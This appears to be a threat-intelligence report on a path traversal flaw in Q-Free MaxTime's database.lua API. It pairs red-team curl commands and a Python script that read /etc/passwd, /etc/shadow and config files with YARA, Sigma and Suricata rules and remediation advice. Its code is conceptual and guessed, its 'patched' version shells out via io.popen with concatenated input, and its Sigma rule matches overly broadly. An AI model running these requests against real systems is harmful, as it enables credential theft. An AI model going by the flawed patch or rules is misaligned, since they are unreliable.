CVE-2025-26357

Executive Summary

CVE-2025-26357 is a path traversal vulnerability (CWE-35) identified in Q-Free MaxTime, a traffic management and tolling system. The flaw resides in the maxtime/api/database/database.lua endpoint, allowing an authenticated remote attacker to read arbitrary sensitive files from the server's filesystem via crafted HTTP requests. The vulnerability affects all versions up to and including 2.11.0. With a CVSS score of 4.9 (Medium), the primary impact is confidentiality breach, as an attacker can exfiltrate configuration files, credentials, or other sensitive data. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the critical nature of the affected system (traffic infrastructure), the risk is elevated for targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 4.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs valid credentials.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality: High (C:H) – full file read capability.
• Integrity: None (I:N) – no data modification.
• Availability: None (A:N) – no denial of service.

Threat Level: Medium. While the CVSS score is moderate, the context of the vulnerability (traffic management systems) elevates the risk for targeted attacks. An authenticated attacker can read sensitive files, potentially leading to credential theft or further compromise.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the Lua-based API endpoint maxtime/api/database/database.lua. The endpoint likely accepts a parameter (e.g., file, path, or db) that is used to construct a file path without proper sanitization. An attacker can inject ../ sequences to escape the intended directory and read arbitrary files on the system.

Root Cause: The application fails to validate or sanitize user-supplied input used in file path construction. The Lua script likely uses io.open() or similar functions with a concatenated path derived from user input.

Attack Flow:

1. Attacker authenticates to the MaxTime web interface (e.g., via default credentials or stolen session).
2. Attacker crafts an HTTP request to /maxtime/api/database/database.lua?file=../../../../etc/passwd.
3. The server reads and returns the contents of /etc/passwd.
4. Attacker iterates to read other sensitive files (e.g., /etc/shadow, configuration files, database credentials).

Affected Component: maxtime/api/database/database.lua – likely part of the API backend for database operations.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

-- Vulnerable: No input validation
local file_path = "/var/lib/maxtime/db/" .. request.query.file
local file = io.open(file_path, "r")
if file then
    local content = file:read("*all")
    response:write(content)
    file:close()
end

Patched Code (Conceptual):

-- Patched: Validate and sanitize path
local function sanitize_path(input)
    -- Remove any path traversal sequences
    local safe = input:gsub("%.%.%/?", "")
    -- Ensure only allowed characters
    if not safe:match("^[a-zA-Z0-9_%-%.]+$") then
        return nil
    end
    return safe
end

local safe_file = sanitize_path(request.query.file)
if safe_file then
    local file_path = "/var/lib/maxtime/db/" .. safe_file
    -- Additional check: ensure file exists within allowed directory
    local real_path = io.popen("realpath " .. file_path):read("*l")
    if real_path and real_path:find("/var/lib/maxtime/db/") == 1 then
        local file = io.open(real_path, "r")
        if file then
            local content = file:read("*all")
            response:write(content)
            file:close()
        end
    end
end

Key Differences:

• Input sanitization to remove ../ sequences.
• Whitelist allowed characters.
• Use of realpath to resolve symlinks and verify the final path is within the intended directory.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Valid credentials for the MaxTime web interface (e.g., admin/admin or harvested via phishing).
• Network access to the target server (port 80/443).

Exploitation Steps:

1. Authenticate to the MaxTime web interface and obtain a session cookie.
2. Use curl to exploit the path traversal:

   curl -k -b "session=YOUR_SESSION_COOKIE" \
     "https://target/maxtime/api/database/database.lua?file=../../../../etc/passwd"
   

3. Read sensitive files:

   # Read shadow file (if permissions allow)
   curl -k -b "session=YOUR_SESSION_COOKIE" \
     "https://target/maxtime/api/database/database.lua?file=../../../../etc/shadow"
   
   # Read application config
   curl -k -b "session=YOUR_SESSION_COOKIE" \
     "https://target/maxtime/api/database/database.lua?file=../../../../var/lib/maxtime/config.ini"
   

4. Automate with a script:

   import requests
   
   target = "https://target"
   session = {"session": "YOUR_SESSION_COOKIE"}
   files_to_read = [
       "/etc/passwd",
       "/etc/shadow",
       "/var/lib/maxtime/config.ini",
       "/proc/self/environ"
   ]
   
   for file in files_to_read:
       payload = f"../../../../{file}"
       r = requests.get(f"{target}/maxtime/api/database/database.lua", 
                        params={"file": payload}, cookies=session)
       print(f"[+] {file}:\n{r.text}\n")
   

Expected Output: Contents of the requested file.

Blue Team (Defender)

Detection & Response:

1. Monitor HTTP logs for requests containing ../ or %2e%2e%2f in the file parameter.
2. Alert on access to sensitive files like /etc/passwd, /etc/shadow, or configuration files.
3. Implement WAF rules to block path traversal patterns.
4. Harden the server:
   • Restrict file permissions so the web server cannot read sensitive system files.
   • Use chroot or containerization to isolate the application.
   • Apply the principle of least privilege to the web server user.
5. Audit authentication logs for unusual access patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /maxtime/api/database/database.lua with file parameter containing ../ or URL-encoded variants.
• Outbound connections from the server to unknown IPs (data exfiltration).
• Unusual file reads (e.g., /etc/shadow, /proc/self/environ).

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, or application configuration files.
• Modified web server logs showing path traversal attempts.

Log IOCs:

• Web server logs with entries like:

  GET /maxtime/api/database/database.lua?file=../../../../etc/passwd HTTP/1.1
  

• Application logs showing errors related to file access outside the intended directory.

Detection Engineering

YARA Rule

rule CVE_2025_26357_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Q-Free MaxTime database.lua"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-26357"
    strings:
        $traversal1 = "../" ascii wide
        $traversal2 = "..\\" ascii wide
        $traversal3 = "%2e%2e%2f" ascii wide
        $traversal4 = "%2e%2e%5c" ascii wide
        $endpoint = "database.lua" ascii wide
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-26357 Path Traversal in Q-Free MaxTime
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts against Q-Free MaxTime database.lua endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'database.lua'
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26357 Q-Free MaxTime Path Traversal"; flow:to_server,established; content:"GET"; http_method; content:"database.lua"; http_uri; content:"../"; http_uri; distance:0; reference:cve,2025-26357; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from untrusted networks if possible.
2. Implement WAF rules to block path traversal patterns (e.g., ../, ..\\, URL-encoded variants).
3. Restrict file permissions on the server to prevent the web server user from reading sensitive files.
4. Monitor logs for exploitation attempts.

Long-term Fixes:

1. Apply vendor patch when available (currently UNKNOWN/UNPATCHED).
2. Upgrade to a patched version if released.
3. Code fix: Implement input validation and sanitization in database.lua as described in the patched code section.
4. Use a chroot environment or containerization to limit file system access.
5. Conduct a security audit of the entire application for similar vulnerabilities.

Workarounds:

• Disable the vulnerable endpoint if not required.
• Use a reverse proxy to filter requests containing path traversal sequences.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-26357